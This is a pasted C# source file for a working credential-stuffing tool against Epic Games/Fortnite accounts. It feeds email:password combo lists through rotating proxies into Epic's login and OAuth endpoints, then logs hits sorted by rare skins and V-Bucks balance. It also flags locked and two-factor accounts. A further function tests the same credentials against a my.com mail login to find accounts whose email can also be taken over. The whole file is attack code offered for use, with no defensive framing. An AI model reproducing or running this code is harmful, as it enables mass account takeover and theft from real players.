Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2019
12,964
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.32 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Threading;
  4. using Newtonsoft.Json.Linq;
  5. using System.IO;
  6. using System.Linq;
  7. using xNet;
  8. using System.Text.RegularExpressions;
  9. using System.Collections;
  10.  
  11. namespace Ultra.Checker
  12. {
  13. class Check
  14. {
  15. public static void CallWorker()
  16. {
  17. while (Globals.Combo.Count != 0)
  18. {
  19. if (Globals.Combo.Count == 0) Globals.isRunning = false;
  20. if (Globals.isRunning == false) Thread.CurrentThread.Abort();
  21.  
  22. Globals.Combo.TryDequeue(out string combo);
  23. Globals.Proxy.TryDequeue(out string proxy);
  24. Globals.Proxy.Enqueue(proxy);
  25.  
  26. using (HttpRequest req = new HttpRequest())
  27. {
  28. req.Proxy = null;
  29. req.KeepAlive = true;
  30. req.AllowAutoRedirect = true;
  31. req.IgnoreProtocolErrors = true;
  32. req.UserAgent = Http.ChromeUserAgent();
  33.  
  34. RunChecker(req, combo, proxy);
  35. }
  36. }
  37. }
  38. private static void RunChecker(HttpRequest req, string combo, string proxy)
  39. {
  40. try
  41. {
  42. var cookies = new CookieDictionary(false);
  43. req.Cookies = cookies;
  44. var csrfToken = req.Get("https://www.epicgames.com/id/api/csrf", null);
  45.  
  46. req.AddHeader("Accept", "*/*");
  47. req.AddHeader("Accept-Language", "en-US,en;q");
  48. req.AddHeader("Referer", "https://accounts.epicgames.com/login?productName");
  49. req.AddHeader("X-XSRF-TOKEN", csrfToken.Cookies["XSRF-TOKEN"].ToString());
  50.  
  51. if (Globals.RunningProxyless != true)
  52. {
  53. if (Globals.proxyType == ProxyType.Http) req.Proxy = HttpProxyClient.Parse(proxy);
  54. else if (Globals.proxyType == ProxyType.Socks4) req.Proxy = Socks4ProxyClient.Parse(proxy);
  55. else if (Globals.proxyType == ProxyType.Socks4a) req.Proxy = Socks4aProxyClient.Parse(proxy);
  56. else if (Globals.proxyType == ProxyType.Socks5) req.Proxy = Socks5ProxyClient.Parse(proxy);
  57. req.Proxy.ConnectTimeout = Globals.ProxyTimeout;
  58. }
  59.  
  60. var data = req.Post("https://www.epicgames.com/id/api/login", string.Concat(new string[]
  61. {
  62. "{\"email\":\"",
  63. combo.Split(new char[] { ':', ';', '|' })[0].Replace(" ", ""),
  64. "\",\"password\":\"",
  65. combo.Split(new char[] { ':', ';', '|' })[1].Replace(" ", ""),
  66. "\",\"rememberMe\":true}"
  67. }), "application/json").ToString();
  68.  
  69. var checkAccess = req.Get("https://www.epicgames.com/id/api/redirect?redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fstore%2Fen-US%2F&clientId=875a3b57d3a640a6b7f9b4e883463ab4", null).ToString();
  70.  
  71. if (checkAccess.Contains("redirectUrl"))
  72. {
  73. req.AddHeader("x-xsrf-token", csrfToken.Cookies["XSRF-TOKEN"].ToString());
  74. var exchangeCode = req.Get("https://www.epicgames.com/id/api/exchange", null).ToString();
  75.  
  76. if (exchangeCode.Contains("code"))
  77. {
  78. var shit = JObject.Parse(exchangeCode);
  79. var code = shit["code"].ToString();
  80.  
  81. if (!exchangeCode.Contains("errors.com.epicgames.unauthorized"))
  82. {
  83. req.ClearAllHeaders();
  84. req.AddHeader("Accept", "*/*");
  85. req.UserAgent = "Fortnite/++Fortnite+Release-8.51-CL-6165369 Windows/10.0.17763.1.256.64bit";
  86. req.Authorization = "basic MzQ0NmNkNzI2OTRjNGE0NDg1ZDgxYjc3YWRiYjIxNDE6OTIwOWQ0YTVlMjVhNDU3ZmI5YjA3NDg5ZDMxM2I0MWE=";
  87.  
  88. var oauth = req.Post("https://account-public-service-prod03.ol.epicgames.com/account/api/oauth/token", string.Concat(new string[]
  89. {
  90. "grant_type=exchange_code&exchange_code=",
  91. code,
  92. "&includePerms=true&token_type=eg1"
  93. }), "application/x-www-form-urlencoded").ToString();
  94.  
  95. if (oauth.Contains("access_token"))
  96. {
  97. if (Globals.DoSkinChecker == true)
  98. {
  99. string access_token = Regex.Match(oauth, "access_token\" : \"(.*?)\",").Groups[1].ToString();
  100. string AccountId = Regex.Match(oauth, "account_id\" : \"(.*?)\",").Groups[1].ToString();
  101.  
  102. string str = string.Concat(new string[] { "https://fortnite-public-service-prod11.ol.epicgames.com/fortnite/api/game/v2/profile/", AccountId, "/client/QueryProfile?profileId=athena&rvn=-1" });
  103. req.AddHeader("Authorization", "bearer " + access_token);
  104.  
  105. string content = req.Post(str, "{}", "application/json").ToString();
  106.  
  107. if (!content.Contains("errors.com.epicgames.common.missing_action"))
  108. {
  109. string username = "Unknown";
  110. string created = "Unknown";
  111. int VBucks = 0;
  112.  
  113. JObject jobject2 = JObject.Parse(content);
  114. string text2 = jobject2.ToString();
  115.  
  116. created = jobject2["profileChanges"][0]["profile"]["created"].ToString();
  117.  
  118. List<string> Skins = new List<string>();
  119. List<string> Backblings = new List<string>();
  120. List<string> Pickaxes = new List<string>();
  121. List<string> Gliders = new List<string>();
  122. List<string> Rares = new List<string>();
  123.  
  124. foreach (object skin in IDS.Skins)
  125. {
  126. DictionaryEntry dicEntry = (DictionaryEntry)skin;
  127. if (content.Contains(dicEntry.Key.ToString()))
  128. {
  129. Skins.Add($"-> {dicEntry.Value.ToString()}");
  130. }
  131. }
  132.  
  133. foreach (object backblings in IDS.Backblings)
  134. {
  135. DictionaryEntry dicEntry = (DictionaryEntry)backblings;
  136. if (content.Contains(dicEntry.Key.ToString()))
  137. {
  138. Backblings.Add($"-> {dicEntry.Value.ToString()}");
  139. }
  140. }
  141.  
  142. foreach (object pickaxes in IDS.Pickaxes)
  143. {
  144. DictionaryEntry dicEntry = (DictionaryEntry)pickaxes;
  145. if (content.Contains(dicEntry.Key.ToString()))
  146. {
  147. Pickaxes.Add($"-> {dicEntry.Value.ToString()}");
  148. }
  149. }
  150.  
  151. foreach (object gliders in IDS.Gliders)
  152. {
  153. DictionaryEntry dicEntry = (DictionaryEntry)gliders;
  154. if (content.Contains(dicEntry.Key.ToString()))
  155. {
  156. Gliders.Add($"-> {dicEntry.Value.ToString()}");
  157. }
  158. }
  159.  
  160. foreach (string UserRares in UserData.Rares)
  161. {
  162. if (content.Contains(UserRares))
  163. {
  164. SaveToDisk("UserRares", combo);
  165. }
  166. }
  167.  
  168. foreach (string rareSkin in Globals.RareSkins)
  169. {
  170. if (content.Contains(rareSkin))
  171. {
  172. File.AppendAllText(string.Concat("Results/", "Hit Checker/", Globals.ResultsFolder, $"/rares.txt"), string.Concat(combo, Environment.NewLine));
  173. Globals.Rares++;
  174. break;
  175. }
  176. }
  177.  
  178. try
  179. {
  180. req.ClearAllHeaders();
  181. req.AddHeader("Authorization", "bearer " + access_token);
  182. string Profile = req.Get("https://account-public-service-prod03.ol.epicgames.com/account/api/public/account/" + AccountId).ToString();
  183. Console.WriteLine(Profile);
  184.  
  185. JObject jobject = JObject.Parse(Profile);
  186.  
  187. username = jobject["displayName"].ToString();
  188. }
  189. catch (Exception)
  190. {
  191. }
  192.  
  193. if (content.Contains("CID_017_Athena_Commando_M".ToLower())) { SaveToDisk($"Aerial Assault Trooper", combo); Rares.Add("-> Aerial Assault Trooper"); }
  194. if (content.Contains("CID_022_Athena_Commando_F".ToLower())) { SaveToDisk($"Recon Expert", combo); Rares.Add("-> Recon Expert"); }
  195. if (content.Contains("CID_028_Athena_Commando_F".ToLower())) { SaveToDisk($" Renegade Raider", combo); Rares.Add("-> Renegade Raider"); }
  196. if (content.Contains("CID_029_Athena_Commando_F_Halloween".ToLower())) { SaveToDisk($"Ghoul Trooper", combo); Rares.Add("-> Ghoul Trooper"); }
  197. if (content.Contains("CID_035_Athena_Commando_M_Medieval".ToLower())) { SaveToDisk($"Black Knight", combo); Rares.Add("-> Black Knight"); }
  198. if (content.Contains("CID_039_Athena_Commando_F_Disco".ToLower())) { SaveToDisk($"Sparkle Specialist", combo); Rares.Add("-> Sparkle Specialist"); }
  199. if (content.Contains("CID_051_Athena_Commando_M_HolidayElf".ToLower())) { SaveToDisk($"Codename ELF", combo); Rares.Add("-> Codename E.L.F."); }
  200. if (content.Contains("CID_175_Athena_Commando_M_Celestial".ToLower())) { SaveToDisk($"Galaxy", combo); Rares.Add("-> Galaxy"); }
  201. if (content.Contains("CID_259_Athena_Commando_M_StreetOps".ToLower())) { SaveToDisk($"Reflex", combo); Rares.Add("-> Reflex"); }
  202. if (content.Contains("CID_313_Athena_Commando_M_KpopFashion".ToLower())) { SaveToDisk($"IKONIK", combo); Rares.Add("-> IKONIK"); }
  203. if (content.Contains("CID_174_Athena_Commando_F_CarbideWhite".ToLower())) { SaveToDisk($"Eon", combo); Rares.Add("-> Eon"); }
  204. if (content.Contains("CID_434_Athena_Commando_F_StealthHonor".ToLower())) { SaveToDisk($"Wonder", combo); Rares.Add("-> Wonder"); }
  205. if (content.Contains("CID_183_Athena_Commando_M_ModernMilitaryRed".ToLower())) { SaveToDisk($"Double Helix", combo); Rares.Add("-> Double Helix"); }
  206. if (content.Contains("CID_441_Athena_Commando_F_CyberScavengerBlue".ToLower())) { SaveToDisk($"Neo Versa", combo); Rares.Add("-> Neo Versa"); }
  207. if (content.Contains("CID_342_Athena_Commando_M_StreetRacerMetallic".ToLower())) { SaveToDisk($"Honor Guard", combo); Rares.Add("-> Honor Guard"); }
  208. if (content.Contains("Glider_ID_001".ToLower())) { SaveToDisk($"Aerial Assault One", combo); Rares.Add("-> Aerial Assault One"); }
  209. if (content.Contains("Pickaxe_Lockjaw".ToLower())) { SaveToDisk($"Raider's Revenge", combo); Rares.Add("-> Raider's Revenge"); }
  210. if (content.Contains("Glider_Warthog".ToLower())) { SaveToDisk($"Mako", combo); Rares.Add("-> Mako"); }
  211. if (content.Contains("CID_095_Athena_Commando_M_Founder".ToLower())) { SaveToDiskSTW($"STW", combo); }
  212.  
  213. if (content.Contains("CID_030_Athena_Commando_M_Halloween".ToLower()))
  214. {
  215. try
  216. {
  217. foreach (JToken token in JObject.Parse(content)["profileChanges"][0]["profile"]["items"].Children())
  218. {
  219. if (token.First["templateId"].ToString() == "AthenaCharacter:cid_030_athena_commando_m_halloween" && token.First["attributes"].ToString().Contains("Mat1"))
  220. {
  221. Rares.Add("-> OG Skull Trooper");
  222. SaveToDisk("OG Skull Trooper", combo);
  223. Globals.OG_SKULL++;
  224. Globals.Rares++;
  225. }
  226. }
  227. }
  228. catch
  229. {
  230. Globals.Errors++;
  231. Globals.Combo.Enqueue(combo);
  232. }
  233. }
  234.  
  235. req.ClearAllHeaders();
  236. req.AddHeader("Accept", "*/*");
  237. req.AddHeader("Authorization", "bearer " + access_token);
  238. string json2 = req.Post("https://fortnite-public-service-prod11.ol.epicgames.com/fortnite/api/game/v2/profile/" + AccountId + "/client/QueryProfile?profileId=common_core&rvn=-1", "{\"{ }\":\"\"}", "application/json").ToString();
  239. JObject jobject3 = JObject.Parse(json2);
  240.  
  241. string[] GetVBucks = jobject3["profileChanges"][0]["profile"]["items"].ToString().Split(new string[]
  242. {
  243. "\r\n"
  244. }, StringSplitOptions.None);
  245.  
  246. int i = 0;
  247. while (i < GetVBucks.Length)
  248. {
  249. if (GetVBucks[i].Contains("Currency:MtxGiveaway"))
  250. {
  251. string text3 = GetVBucks[i + 4];
  252. VBucks = int.Parse(text3.Split(new char[]
  253. {
  254. ':'
  255. })[1]);
  256. break;
  257. }
  258. i++;
  259. }
  260.  
  261. if (VBucks != 0)
  262. {
  263. if (VBucks >= 2500) { SaveToDiskVbucks($"2500+", combo, VBucks); Globals.V2500++; }
  264. else if (VBucks >= 2000) { SaveToDiskVbucks($"2000+", combo, VBucks); Globals.V2000++; }
  265. else if (VBucks >= 1000) { SaveToDiskVbucks($"1000+", combo, VBucks); Globals.V1000++; }
  266. else if (VBucks >= 500) { SaveToDiskVbucks($"500+", combo, VBucks); Globals.V500++; }
  267. else if (VBucks >= 100) { SaveToDiskVbucks($"100+", combo, VBucks); Globals.V100++; }
  268.  
  269. if (VBucks >= UserData.LogVbucksAmount) SaveToDiskVbucks("All-Hits", combo, VBucks);
  270. }
  271.  
  272. if (Skins.Count != 0)
  273. {
  274. Capture(content);
  275. File.AppendAllText(string.Concat("Results/", "Hit Checker/", Globals.ResultsFolder, $"/Skinned.txt"), string.Concat(combo, Environment.NewLine));
  276. SaveCapture.WriteToDisk(combo, AccountId, created, username, isFA(combo), VBucks, Skins, Backblings, Pickaxes, Gliders, Rares);
  277.  
  278.  
  279. Globals.Skinned++;
  280. }
  281. else
  282. {
  283. if (UserData.SaveNoSkins == true) File.AppendAllText(string.Concat("Results/", "Hit Checker/", Globals.ResultsFolder, $"/No-Skins.txt"), string.Concat(combo, Environment.NewLine));
  284.  
  285. Globals.NoSkins++;
  286. }
  287. }
  288. }
  289.  
  290. File.AppendAllText(string.Concat("Results/", "Hit Checker/", Globals.ResultsFolder, $"/All-Hits.txt"), string.Concat(combo, Environment.NewLine));
  291. Globals.Valid++;
  292. Globals.CPS++;
  293. }
  294. else if (oauth.Contains("Sorry the credentials you are using are invalid") || oauth.Contains("Real ID association is required") || oauth.Contains("Please reset your password to proceed with login"))
  295. {
  296. Globals.Invalid++;
  297. Globals.CPS++;
  298. }
  299. else
  300. {
  301. if (oauth.Contains("errors.com.epicgames.common.throttled") || oauth.Contains("Process exited before completing"))
  302. {
  303. Globals.Errors++;
  304. Globals.Combo.Enqueue(combo);
  305. }
  306. else if (oauth.Contains("account has been locked because of too many invalid login attempts") || oauth.Contains("Sorry the account you are using is not active"))
  307. {
  308. Globals.Banned++;
  309. Globals.CPS++;
  310. }
  311. else if (oauth.Contains("Two-Factor authentication required to process"))
  312. {
  313. Globals.NeedAuth++;
  314. Globals.CPS++;
  315. }
  316. else
  317. {
  318. Globals.Errors++;
  319. Globals.Combo.Enqueue(combo);
  320. }
  321. }
  322. }
  323. }
  324. }
  325. }
  326. catch (Exception)
  327. {
  328. Globals.Errors++;
  329. Globals.Combo.Enqueue(combo);
  330. }
  331. Thread.Sleep(1);
  332. }
  333.  
  334.  
  335. private static void Capture(string content)
  336. {
  337. if (content.Contains("CID_175_Athena_Commando_M_Celestial".ToLower())) Globals.Galaxy++;
  338. if (content.Contains("CID_313_Athena_Commando_M_KpopFashion".ToLower())) Globals.IKONIK++;
  339. if (content.Contains("CID_174_Athena_Commando_F_CarbideWhite".ToLower())) Globals.Eon++;
  340. if (content.Contains("CID_113_Athena_Commando_M_BlueAce".ToLower())) Globals.Rb++;
  341. if (content.Contains("CID_259_Athena_Commando_M_StreetOps".ToLower())) Globals.Reflex++;
  342. if (content.Contains("CID_342_Athena_Commando_M_StreetRacerMetallic".ToLower())) Globals.Honor++;
  343. if (content.Contains("CID_434_Athena_Commando_F_StealthHonor".ToLower())) Globals.Wonder++;
  344. if (content.Contains("CID_183_Athena_Commando_M_ModernMilitaryRed".ToLower())) Globals.DoubleHelix++;
  345. if (content.Contains("CID_441_Athena_Commando_F_CyberScavengerBlue".ToLower())) Globals.NeoVersa++;
  346.  
  347. if (content.Contains("CID_095_Athena_Commando_m_Founder".ToLower())) Globals.STW++;
  348.  
  349. if (content.Contains("CID_035_Athena_Commando_M_Medieval".ToLower())) Globals.BK++;
  350. if (content.Contains("CID_039_Athena_Commando_F_Disco".ToLower())) Globals.SS++;
  351. if (content.Contains("CID_051_Athena_Commando_M_HolidayElf".ToLower())) Globals.CodeName++;
  352. if (content.Contains("CID_226_Athena_Commando_F_Octoberfest".ToLower())) Globals.Heidi++;
  353. if (content.Contains("Glider_Warthog".ToLower())) Globals.Mako++;
  354. if (content.Contains("Glider_ID_001".ToLower())) Globals.AA1++;
  355.  
  356. if (content.Contains("CID_022_Athena_Commando_F".ToLower())) Globals.RE++;
  357. if (content.Contains("CID_028_Athena_Commando_F".ToLower())) Globals.RR++;
  358. if (content.Contains("CID_029_Athena_Commando_F_Halloween".ToLower())) Globals.GT++;
  359. if (content.Contains("CID_017_Athena_Commando_M".ToLower())) Globals.Aerial++;
  360. if (content.Contains("Pickaxe_Lockjaw".ToLower())) Globals.RR_AXE++;
  361. }
  362.  
  363. private static void SaveToDisk(string filename, string combo)
  364. {
  365. File.AppendAllText(string.Concat("Results/", "Hit Checker/", Globals.ResultsFolder, "/Rares Output", $"/{filename}.txt"), string.Concat(combo, Environment.NewLine));
  366. }
  367.  
  368. private static void SaveToDiskVbucks(string filename, string combo, int VBucks)
  369. {
  370. File.AppendAllText(string.Concat("Results/", "Hit Checker/", Globals.ResultsFolder, "/V-Bucks Output", $"/{filename}.txt"), string.Concat($"{combo} -=> {VBucks} V-Bucks", Environment.NewLine));
  371. }
  372.  
  373. private static void SaveToDiskSTW(string filename, string combo)
  374. {
  375. File.AppendAllText(string.Concat("Results/", "Hit Checker/", Globals.ResultsFolder, $"/{filename}.txt"), string.Concat($"{combo}", Environment.NewLine));
  376. }
  377.  
  378. private static string isFA(string combo)
  379. {
  380. using (HttpRequest req = new HttpRequest())
  381. {
  382. try
  383. {
  384. req.Cookies = null;
  385. req.Proxy = null;
  386. req.KeepAlive = true;
  387. req.IgnoreProtocolErrors = true;
  388. req.AllowAutoRedirect = false;
  389.  
  390. string data = req.Get(string.Concat(new string[]
  391. {
  392. "https://aj-https.my.com/cgi-bin/auth?Login=",
  393. combo.Split(new char[]{ ':', ';', '|' })[0].ToString().Replace(" ", ""),
  394. combo.Split(new char[]{ ':', ';', '|' })[1].ToString().Replace(" ", ""),
  395. "&reqmode=fg&reqmode=fg&ajax_call=1&udid=16cbef29939532331560e4eafea6b95790a743e9&device_type=Tablet&mp=iOS%C2%A4t=MyCom&mmp=mail&reqmode=fg&ajax_call=1&udid=16cbef29939532331560e4eafea6b95790a743e9&device_type=Tablet&mp=iOS%C2%A4t=MyCom&mmp=mail&os=iOS&md5_signature=6ae1accb78a8b268728443cba650708e&os_version=9.2&model=iPad%202%3B%28WiFi%29&simple=1&ver=4.2.0.12436&DeviceID=D3E34155-21B4-49C6-ABCD-FD48BB02560D&country=GB&language=fr_FR&LoginType=Direct&Lang=fr_FR&device_vendor=Apple&mob_json=1&DeviceInfo=%7B%22Timezone%22%3A%22GMT%2B2%22%2C%22OS%22%3A%22iOS%209.2%22%2C?%22AppVersion%22%3A%224.2.0.12436%22%2C%22DeviceName%22%3A%22iPad%22%2C%22Device?%22%3A%22Apple%20iPad%202%3B%28WiFi%29%22%7D&device_name=iPad"
  396. }), null).ToString();
  397.  
  398. if (data.Contains("Ok=1"))
  399. {
  400. File.AppendAllText(string.Concat("Results/", "Hit Checker/", Globals.ResultsFolder, "/FA.txt"), string.Concat(combo, Environment.NewLine));
  401. Globals.FA++;
  402.  
  403. return "True";
  404. }
  405. else if (data.Contains("Ok=0"))
  406. {
  407. return "False";
  408. }
  409. else
  410. {
  411. return "Unknown";
  412. }
  413. }
  414. catch (Exception)
  415. {
  416. return "Unknown";
  417. }
  418. }
  419. }
  420. }
  421. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement